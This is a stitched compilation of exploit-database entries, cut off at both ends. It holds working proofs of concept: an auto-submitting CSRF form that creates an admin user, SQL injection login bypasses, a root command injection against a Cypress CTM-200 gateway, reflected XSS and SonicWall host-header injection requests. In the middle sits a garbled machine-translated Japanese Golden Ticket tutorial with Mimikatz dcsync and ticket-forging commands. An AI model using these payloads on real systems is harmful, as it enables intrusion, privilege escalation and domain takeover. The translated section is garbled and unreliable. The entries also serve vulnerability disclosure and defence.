    <form action="http://localhost/pharmacy/Actions.php?a=save_user" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="fullname" value="Mrt" />
      <input type="hidden" name="username" value="NewAdmin" />
      <input type="hidden" name="type" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

--------------------------------------------------------------------------------------
            
# Exploit Title: Simple Issue Tracker System 1.0 - SQLi Authentication Bypass
# Date: 11.10.2021
# Exploit Author: Bekir Bugra TURKOGLU
# Vendor Homepage: https://www.sourcecodester.com/php/14938/simple-issue-tracker-system-project-using-php-and-sqlite-free-download.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14938&title=Simple+Issue+Tracker+System+Project+using+PHP+and+SQLite+Source+Code+Free+Download
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.


Steps To Reproduce:

1 - Go to the login page http://localhost/issue_tracker/login.php
2 - Enter the payload to username field as "admin" or  " ' OR 1 -- - " and enter any character in the password field.
3 - Click on "Login" button and successful login.

PoC

POST /issue_tracker/Actions.php?a=login HTTP/1.1
Host: 192.168.0.111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 31
Origin: http://localhost
Connection: close
Referer: http://localhost/issue_tracker/login.php
Cookie: PHPSESSID=71bod5tipklk329lpsoqkvfcb9


username='+OR+1+--+-&password=1
            
# Exploit Title: Online Learning System 2.0 - 'Multiple' SQLi Authentication Bypass
# Date: 11.10.2021
# Exploit Author: Oguzhan Kara
# Vendor Homepage: https://www.sourcecodester.com/php/14929/online-learning-system-v2-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14929&title=Online+Learning+System+V2+using+PHP+Free+Source+Code
# Version: 2.0
# Tested on: Kali Linux, Windows 10 - XAMPP
# Online Learning System v2.0 Login pages can be bypassed with a simple SQLi to the username/facultyID/studentID parameters.

Steps To Reproduce:
1 - Go to one of the login portals
2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes ("bypass" is can be anything in this scenario) and type anything you want to the password field.
3 - Click on "Login" button and you are logged in as first user in database, which is admin user for admin portal.

PoC

---Admin Portal---

POST /elearning/classes/Login.php?f=login HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

username=bypass'+or+1%3D1--+-&password=bypass

---Faculty Portal---

POST /elearning/classes/Login.php?f=flogin HTTP/1.1
Host: localhost
Content-Length: 47
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/faculty/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

faculty_id=bypass'+or+1%3D1--+-&password=bypass

---Student Portal---

POST /elearning/classes/Login.php?f=slogin HTTP/1.1
Host: localhost
Content-Length: 45
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/elearning/student/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

student_id=bypass'+or+1%3D1--+-&password=test
            
# Exploit Title: Cypress Solutions CTM-200 2.7.1 - Root Remote OS Command Injection
# Date: 21.09.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.cypress.bc.ca

Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection


Vendor: Cypress Solutions Inc.
Product web page: https://www.cypress.bc.ca
Affected version: 2.7.1.5659
                  2.0.5.3356-184

Summary: CTM-200 is the industrial cellular wireless gateway for fixed and mobile applications.
The CTM-200 is a Linux based platform powered by ARM Cortex-A8 800 MHz superscalar processor.
Its on-board standard features make the CTM-200 ideal for mobile fleet applications or fixed site
office and SCADA communications.

Desc: The CTM-200 wireless gateway suffers from an authenticated semi-blind OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user
through the 'ctm-config-upgrade.sh' script leveraging the 'fw_url' POST parameter used in the cmd
upgreadefw as argument, called by ctmsys() as pointer to execv() and make_wget_url() function to
the wget command in /usr/bin/cmdmain ELF binary.

================================================================================================
/www/cgi-bin/webif/ctm-config-upgrade.sh:
-----------------------------------------

136:    if ! empty "$FORM_install_fw_url"; then
137:         echo "</pre>"
138:       echo "<br />Installing firmware to flash ... DO NOT POWER OFF CTM-200 Gateway!<br /><pre>"
139:                 cmd upgradefw "$FORM_fw_url"
140:                 unset FORM_install_fw_url FORM_submit
141:                 echo "</pre><br />Done."
142:    fi
==================================================================
cmdmain (ELF):

    memset(&DAT_0003bd1c,0,0x80);
    make_wget_url(*ppcVar9,&DAT_0003bd9c,&DAT_0003bdbc,&DAT_0003bd1c);
    sprintf(local_184,"%s%s -O /tmp/%s",&DAT_0003bd1c,*(undefined4 *)(iParm2 + 8),
            *(undefined4 *)(iParm2 + 8));
    ctmsys(local_184);
    sprintf(local_184,"/tmp/%s",*(undefined4 *)(iParm2 + 8));
    iVar3 = ctm_fopen(local_184,"r");
    if (iVar3 == 0) {
      uVar5 = *(undefined4 *)(iParm2 + 8);
      __s = "vueclient -cmdack \'confupgrade:%s FAIL DOWNLOAD\' &";
      goto LAB_0001f4a8;
    }
    ctm_fclose();
    memset(local_184,0,0x100);
    sprintf(local_184,"%s%s.md5 -O /tmp/%s.md5",&DAT_0003bd1c,*(undefined4 *)(iParm2 + 8),
            *(undefined4 *)(iParm2 + 8));
    ctmsys(local_184);
=================================================================
cmd (ELF):

              while (sVar1 = strlen(__s2), uVar7 < sVar1) {
                __s2[uVar7] = *(char *)(__ctype_tolower + (uint)(byte)__s2[uVar7] * 2);
                __s2 = *ppcVar8;
                uVar7 = uVar7 + 1;
              }
              uStack180 = 0x7273752f;
              uStack176 = 0x6e69622f;
              uStack172 = 0x646d632f;
              uStack168 = 0x6d632f73;
              uStack164 = 0x69616d64;
              uStack160 = 0x6e;
              uStack159 = 0;
              iVar2 = execv((char *)&uStack180,ppcParm2);
================================================================================================

Tested on: GNU/Linux 2.6.32.25 (arm4tl)
           BusyBox v1.15.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5687
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5687.php


21.09.2021

--


PoC POST request:
-----------------

POST /cgi-bin/webif/ctm-config-upgrade.sh HTTP/1.1
Host: 192.168.1.100
Connection: keep-alive
Content-Length: 611
Cache-Control: max-age=0
Authorization: Basic YWRtaW46Q2hhbWVsZW9u
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZlABvwQnpLtpe9mM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://173.182.107.198/cgi-bin/webif/ctm-config-upgrade.sh
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6
Cookie: style=null
sec-gpc: 1

------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="submit"

1
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="upgradefile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="fw_url"

`id`
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="install_fw_url"

Start Firmware Upgrade from URL
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="pkgurl"


------WebKitFormBoundaryZlABvwQnpLtpe9mM--



Response:
---------

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Pragma: no-cache

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  "http: //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http: //www.w3.org/1999/xhtml" lang="en" xml:lang="en">
...
...
Firmware Management

Installing firmware to flash ... DO NOT POWER OFF CTM-200 Gateway!
Saving configuration ...
downloading firmware image: gid=0(root)/uid=0(root).tar
found image:
extracting image files
Verifying checksum of downloaded firmware image
Image checksum failed
OK

Done.
...
...
</div>
<br />
<fieldset id="save">
    <legend><strong>Proceed Changes</strong></legend>
    <div class="page-save"><input id="savebutton" type="submit" name="action" value="Save Changes to Page" /></div>
    <ul class="apply">
        <li><a href="config.sh?mode=save&cat=Config&prev=/cgi-bin/webif/ctm-config-upgrade.sh" rel="lightbox" >&raquo; Save Configuration &laquo;</a></li>
    </ul>
</fieldset>
</form>
<hr />
<div id="footer">
    <h3>X-Wrt</h3>
    <em>End user extensions for OpenWrt</em>
</div>
</div> <!-- End #container -->
</body>
</html>
            

0x01ゴールドノートの原則と条件

ゴールドノートは、偽造ノートグラントノート(TGT)であり、認定ノートとしても知られています。下の図に示すように、ドメインコントローラーとのAS-REQまたはAS-REP(ステップ1および2)の通信はありません。ゴールドノートはForged TGTSであるため、サービスノートを取得するためにTGS-REQの一部としてドメインコントローラーに送信されます。u1woop3qzea9155.png

Kerberos Gold Notesは、ドメインKerberosアカウント(KRBTGT)によって暗号化および署名されているため、有効なTGT Kerberosノートです。 TGTは、ユーザーが他のドメインコントローラーによって認証されていることをドメインコントローラー上のKDCサービスに証明するためにのみ使用されます。 TGTはKrbtgtパスワードハッシュによって暗号化され、ドメイン内の任意のKDCサービスによって復号化できます。

金の条件と要件:

1.Domain名[広告PowerShellモジュール:( get-addomain).dnsroot]

2。ドメインのSID値[AD PowerShellモジュール:( get-addomain).domainsid.value]

3.ドメインのKRBTGTアカウントNTLMパスワードハッシュ

4。Forgeユーザー名

攻撃者がドメインコントローラーにアクセスする管理者の許可を得ると、Mimikatzを使用してKRBTGTアカウントパスワードのハッシュを抽出できます。

d1qh5y1qfro9156.png

0x02ゴールドノートの制限

ゴールドは、Krbtgtアカウントのパスワードハッシュがマルチドメイン広告の森の一部としてサブドメインに表示されるときに存在する現在のドメインの管理権限を「スプーフィング」します。ルートドメインには、森林管理グループエンタープライズ管理者全体が含まれているためです。 Mimikatzは相対識別子(RID)を介してグループメンバーシップをチケットに追加するため、Kerberosチケットの519(エンタープライズマネジメント)RIDは、作成するドメインのローカルとして識別されます(KRBTGTアカウントドメインに基づく)。ドメインSIDと接続されたRIDを取得して作成されたドメインセキュリティ識別子(SID)が存在しない場合、Kerberosチケットの所有者はそのレベルでアクセスを受け取りません。言い換えれば、マルチドメイン広告森林では、金色が作成されている場合

チケットドメインにはエンタープライズ管理者グループが含まれていませんが、ゴールデン

チケットは、森林の他のドメインに管理権限を提供しません。単一のドメインActive Directory Forestでは、エンタープライズ管理者グループがこのドメインに存在するため、ゴールデンチケットを作成することに制限はありません。下の図に示すように、エンタープライズ管理者でない限り、金のメモをクロスドメイントラストを使用することはできません。標準的なゴールドノートは、作成するサブドメインに限定されています

zyqjnaxrnop9157.png

0x03ゴールドノートの制限をバイパス

移行スキームでは、DomainaからDomainBに移行するユーザーは、元のDomainaユーザーSID値を新しいDomainBに追加します

SID History Property。ユーザーが新しいアカウントでDomainBにログインすると、Domaina SIDは、アクセスを決定したDomainBユーザーグループで検証されます。これは、SIDをSID履歴に追加してアクセスを拡張できることを意味します。

MimikatzがSIDの歴史をゴールデンチケット(および銀のチケット)でサポートすると、事態はさらに興味深いものになります。ADForestのどのグループも含めて、許可されたアクセスに使用できるからです。 Mimikatzの最新バージョンを使用すると、Forest Enterprise Admins GroupのゴールデンチケットにSID履歴を追加できるようになりました。単一のドメイン名のkrbtgtアカウントのパスワードハッシュが取得されると、ユーザーはゴールデンノートを介してフォレスト全体にログインします。全体として、ドメイン名が脅かされると。金のチケットは、マイクロコンピューター広告フォレストkfse0f31hnd9158.pngの任意のドメインで使用できるようになりました。

注:アクティブなディレクトリフォレストの信託間のSIDフィルタリングを有効にすると、ゴールドノートの制限のバイパスが妨げられます。

0x04ゴールドノートの機能

1.ドメインコントローラーのKDCサービスは、TGTが20分以上になるまでTGTのユーザーアカウントを確認しません。つまり、攻撃者は無効化および削除されたアカウント、またはActive Directoryに存在しない仮想アカウントを使用できます。

MicrosoftのMS-Kile説明:

Kerberos V5はTGSリクエストのアカウント取消チェックを提供しておらず、TGTの更新とサービスチケットを削除しても公開できます。 Kileは、使用時間を短時間(20分以内)に制限する方法を提供します。 TGTが20分を超える場合、Kile KDCはドメイン内のアカウントを確認する必要があります。

2。ドメインコントローラー上のKDCサービスによって生成されたドメインは、Kerberosポリシーに設定されているため、チケットが提供されている場合、システムはチケットの有効性を信頼します。これは、ドメインポリシーがKerberosログインチケット(TGT)が10時間しか有効であると述べている場合でも、法案宣言が10年間有効な場合、法案の有効期間は10年であると信頼されていることを意味します。

3. KRBTGTアカウントのパスワードが変更されることはなく、KRBTGTパスワードが変更されるまで(2回)、攻撃者はゴールドノートを作成できます。偽のユーザーがパスワードを変更したとしても、ユーザーになりすましてゴールデンチケットを作成していることに注意してください。

4. TGTを作成する前にDCによって実行される定期的な検証をバイパスするため、SmartCard認証要件をバイパスします。

5.これにより、慎重に作成されたTGTでは、Active DirectoryドメインのKRBTGTパスワードハッシュ値(通常はドメインコントローラーからダンプされた)を攻撃者に必要とします。

6。KRBTGTNTLM HASHを使用して、有効なTGT(RC4を使用)を生成して、Active Directoryのリソースにアクセスするユーザーをシミュレートできます。

7。ゴールドノート(TGT)は、ドメインに結合されていなくても、ホストで生成および使用できます。ネットワークがドメインにアクセスできる限り。

8. ADフォレストのDCSから有効なTGSチケットを取得し、すべてのドメインのすべてのホストにアクセスすることを主張する良い方法を提供するために使用されます。

0x05ゴールドノートディフェンス

1。ドメイン管理者を制限して、ドメインコントローラーといくつかの管理サーバーを除く他のコンピューターにログインします(他の管理者がこれらのサーバーにログインしないでください)他のすべてのアクセス許可をカスタム管理者グループに委任します。これにより、攻撃者のドメインコントローラーへのアクセスアクセスが大幅に削減されます

ディレクトリのntds.dit。攻撃者が広告データベース(ntds.ditファイル)にアクセスできない場合、Krbtgtアカウントのパスワードは取得できません。

2. KRBTGTアカウントを無効にし、現在のパスワードと以前のパスワードを保存します。 KRBTGTパスワードハッシュは、KerberosチケットでPACに署名し、TGT(認証チケット)を暗号化するために使用されます。証明書に署名され、別のキー(パスワード)で暗号化されている場合、KRBTGTの以前のパスワードをチェックすることにより、DC(KDC)が検証されます。

3. KRBTGTパスワードを定期的に変更することをお勧めします(結局、管理者アカウントです)。 1回変更してから、広告をバックアップして、12〜24時間後に再度変更します。このプロセスは、システム環境に影響を与えないはずです。このプロセスは、KRBTGTパスワードが少なくとも年に1回変更されるようにするための標準的な方法である必要があります。

4.攻撃者がKRBTGTアカウントのパスワードハッシュにアクセスできるようになると、彼は自由に金のメモを作成できます。 KRBTGTパスワードを2回迅速に変更することにより、既存のゴールドノート(およびすべてのアクティブなKerberosノート)を無効にします。これにより、すべてのKerberosノートが無効になり、攻撃者がKRBTGTを使用して有効なゴールドノートを作成する能力が排除されます。

0x06ミミカッツを使用して、Kerberos Gold Notes

を偽造します

Mimikatzコマンド:Kerberos:Goldenは「Golden Notes」を作成するために使用されます(TGT認証チケットの忘却)

Mimikatzコマンドの例:

kerberos:golden /admin:admiinaccountname

/domain:domainfqdn /id:accountrid /sid:domainsid /krbtgt:krbtgtgtpasswordhash /ptt

bnf1qhdyqcm9159.png

kerberos:3360golden /admin:darthvader /domain:lab.adsercurity.org /id:2601 /sid: s-1-5-21-4155807533-921486164-2767329826 /KRBTGT:8A2F1ADCDD519A23515780021D2D178A

/PTT

1。 Krbtgtのハッシュ

をエクスポートします

ドメインコントロールでMimkatz出力を実行する:

Mimikatz log 'lsadump:3360dcsync

/domain:test.local /user:krbtgt '

vindg1z3kn29160.png

次の情報を見つけます。

/domain:test.local

/SID:S-1-5-21-4155807533-921486164-2767329826

/AES256:AF71A24EA4634446F9B4C645E1BFE1E0F1C70C7D785DF10ACF008106A0555E682F

2。ゴールデンを生成します

チケット偽のユーザーが神に設定され、を実行します

Mimikatz 'Kerberos:3360Golden

/Domain:Test.Local /SID:S-1-5-21-4155807533-921486164-2767329826

/AES256:AF71A24EA4634446F9B4C645E1BFE1E0F1C70C7D785DF10ACF008106A0555E682F

/user:god

/ticket:gold.kirbi '

ファイルGold.kirbiを生成します

3。鍛造黄金

チケットゴールデンチケットをインポートするドメイン制御許可を取得し、次のコマンドを実行します。

Kerberos:PTT C: \ test \ gold.kirbi

図に示されているように、ドメイン制御権限を正常に取得した

okbdisg55i39161.png

TIPS:

ゴールデンチケットの生成は、AES256を使用するだけでなく、krbtgtのntlmを使用できます

ハッシュ

Mimikatz 'lsadump:lsa /patch'で:をエクスポートできます。

3ouxr1wmg2v9162.png

0x07

Mimikatz Gold Notesコマンドリファレンス:Goldを作成するMimikatzのコマンドは「Kerberos :です

ゴールデン"

/ドメイン------フルドメイン名、この例:「lab.adsecurity.org」

/sid ----ドメインのsid、この例では:「S-1-5-21-1473643419-774954089-222222329127」

/sids ---広告フォレストのアカウント/グループの追加のSID、資格情報は欺く許可を持っています。通常、これは「S-1-5-21-1473643419-774954089-5872329127-519」です。 t

/ユーザー---偽のユーザー名

/グループ(オプション)----ユーザーが属するグループを廃止します(最初のグループがメイングループです)。ユーザーまたはコンピューターアカウントを追加して、同じアクセス許可を受信します。デフォルトグループ:513,512,520,518,519はデフォルトの管理者グループです。

/KRBTGT ---ドメインKDCサービスアカウント(KRBTGT)のNTLMパスワードハッシュ値。 TGTを暗号化および署名するために使用されます。

/チケット(オプション) - 後で使用するためにゴールデンチケットファイルを保存するパスと名前を提供するか、使用する /PTTはすぐにゴールドノートをメモリに挿入します。

/PTT- /チケットの代替品として - それを使用して、すぐに使用するために偽のチケットをメモリに挿入します。

/ID(オプション) - ユーザーRID。 Mimikatzのデフォルト値は500です(デフォルトの管理者アカウントRID)。

/startoffset(optional) - チケットが利用可能になったときの開始オフセット(通常、このオプションを使用する場合は-10または0に設定)。 Mimikatzデフォルト値は0です。

/endin(オプション) - チケットの使用時間範囲。 Mimikatzデフォルト値は10年(〜5,262,480分)です。アクティブ

ディレクトリのデフォルトのKerberosポリシーは、10時間(600分)に設定されています。

/renledmax(オプション) - renledmax。 Mimikatzデフォルト値は10年(〜5,262,480分)です。 Active DirectoryデフォルトのKerberosポリシーは7日間(10,080分)に設定されています。

/sids(オプション) - 広告森林森林全体のエンタープライズ管理許可を欺くために、広告フォレストエンタープライズ管理者グループ(drootdomainsid)-519のSIDとして設定します(広告フォレストのすべてのドメインの広告管理者)。

/AES128 -AES128キー

/AES256 -AES256キー

ゴールデンチケットデフォルトグループ:

ドメインユーザーSID:S-1-5-21

Domainid -513

ドメイン管理SID:S-1-5-21

Domainid -512

アーキテクチャ管理SID:S-1-5-21

Domainid -518

エンタープライズ管理者SID:S-1-5-21

domainid -519(フォレッドルートドメインに鍛造チケットが作成された場合にのみ有効ですが、広告フォレスト管理者の許可に使用/SIDSパラメーターを追加)

グループポリシー作成者の所有者SID:S-1-5-21

Domainid -520

コマンド形式は次のとおりです。

Kerberos : Golden/User:admiinaccountname /

ドメイン:domainfqdn /id:accountrid

/sid:domainsid/krbtgt:krbtgtpasswordhash

/PTT

コマンド例:\ mimikatz "Kerberos:3360golden

/user:darthvader /domain:rd.lab.adsecurity.org /id:500 /sid:s-1-5-21-135380161-102191138-581311202

/KRBTGT:13026055D01F235D67634E109DA03321

/PTT”出口

ptebv3xgb1j9163.png

# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close
            
# Exploit Title: SolarWinds Kiwi CatTools 3.11.8 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 3.11.8
# Date: 14.10.2021
# Vendor Homepage: https://www.solarwinds.com/
# Tested on: Windows 10

# Step to discover Unquoted Service Path :

--------------------------------------
C:\Users\Mert>sc qc CatTools
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CatTools
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\CatTools3\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CatTools
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
---------------------------------------------

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
----------------------

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
            
# Exploit Title: Sonicwall SonicOS 7.0 - Host Header Injection
# Google Dork: inurl:"auth.html" intitle:"SonicWall" 
#                        intitle:"SonicWall Analyzer Login"
# Discovered Date: 03/09/2020
# Reported Date: 07/09/2020
# Exploit Author: Ramikan 
# Vendor Homepage:sonicwall.com
# Affected Devices: All SonicWall Next Gen 6 Devices
# Tested On: SonicWall NAS 6.2.5
# Affected Version: All SonicWall Next Gen 6 Devices till 6.5.3
# Fixed Version:Gen6 firmware 6.5.4.8-89n 
# CVE : CVE-2021-20031
# CVSS v3:5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
# Category:Hardware, Web Apps
# Reference : https://github.com/Ramikan/Vulnerabilities/

*************************************************************************************************************************************

Vulnerability 1: Host Header Injection

*************************************************************************************************************************************
Description:
A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.
An issue was discovered in Sonicwall NAS, SonicWall Analyzer version 8.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack

Impact:
Host Header changed to different domain (fakedomain.com).
Fakedomain.com can be found in two lines in the HTTP response, below are the two lines.

var jumpURL = "https://fakedomain.com/auth.html";
ease be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a>

*************************************************************************************************************************************
Normal Request
*************************************************************************************************************************************
GET / HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

*************************************************************************************************************************************
Normal Response
*************************************************************************************************************************************
HTTP/1.0 200 OK
Server: SonicWALL
Expires: -1
Cache-Control: no-cache
Content-type: text/html; charset=UTF-8;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
++++++++++++++++++snipped+++++++++++++++++++++++

</head>
<body class="login_bg">
	<div class="login_outer">
		<div class="login_inner">
			<div class="vgap48"></div>
			<div class="login_logo">
				<img src="logo_sw.png">
			</div>
			<div class="login_prodname">
				Network Security Appliance
			</div>
			<div class="vgap48"></div>
			<div class="login_msg_header">
				Please be patient as you are being re-directed to <a href="https://192.168.10.1/auth.html" target="_top">a secure login page</a>
			</div>
			<div class="vgap24"></div>
		</div>
	</div>


</body>
</html>
*************************************************************************************************************************************
POC 
*************************************************************************************************************************************

Host Header changed to different domain (fakedomain.com).
Fakedomain.com can be found in two lines in the response, below are the two lines.

var jumpURL = "https://fakedomain.com/auth.html";
ease be patient as you are being re-directed to <a href="https://fakedomain.com/auth.html" target="_top">a secure login page</a>

*************************************************************************************************************************************
Request:
*************************************************************************************************************************************
GET / HTTP/1.1
Host: fakedomain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Upgrade-Insecure-Requests: 1
Connection: close
Cookie: temp=

*************************************************************************************************************************************
Response:
*************************************************************************************************************************************

HTTP/1.0 200 OK
Server: SonicWALL
Expires: -1
Cache-Control: no-cache
Content-type: text/html; charset=UTF-8;
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' blob: data: ws: wss: sonicwall.com *.sonicwall.com;

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<meta http-equiv="Content-Type" content="text/html">
<title>Document Moved</title>
<meta name="id" content="docJump" >
<link rel=stylesheet href="swl_styles-6.2.5-2464327966.css" TYPE="text/css">
<link rel=stylesheet href="swl_login-6.2.5-2193764341.css" TYPE="text/css">
<script type="text/JavaScript">
var resetSecureFlag = false;
setTimeout("goJump();", 1000);
function goJump() {
	var jumpURL = "https://fakedomain.com/auth.html";
	var jumpProt = jumpURL.substr(0,6).toLowerCase();
	var ix;
	if (jumpProt.substr(0,4) == "http" && (ix = jumpProt.indexOf(":")) != -1) {
		jumpProt = jumpProt.substr(0,ix+1);
		if (location.protocol.toLowerCase() != jumpProt) {
			window.opener = null;
			top.opener = null;
		}
	}
	if (resetSecureFlag) {
		var sessId = getCookie("SessId");
		var pageSeed = swlStore.get("PageSeed", {isGlobal: true});
		if (sessId) { setCookieExt("SessId", sessId, { strictSameSite: true }); }
		if (pageSeed) { swlStore.set("PageSeed", pageSeed, {isGlobal: true}); }
	}
	top.location.href = jumpURL;
}
function setCookie(key, value) {
  var argv = setCookie.arguments;
  var argc = setCookie.arguments.length;
  var expires = (argc > 2) ? argv[2] : null;
  var path = (argc > 3) ? argv[3] : null;
  var domain = (argc > 4) ? argv[4] : null;
  var secure = (argc > 5) ? argv[5] : false;
  document.cookie = key + "=" + escape (value) +
	((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
	((path == null) ? "" : ("; path=" + path)) +
	((domain == null) ? "" : ("; domain=" + domain)) +
	((secure == true) ? "; secure" : "");
}
function getCookie(key) {
	if (document.cookie.length) {
		var cookies = ' ' + document.cookie;
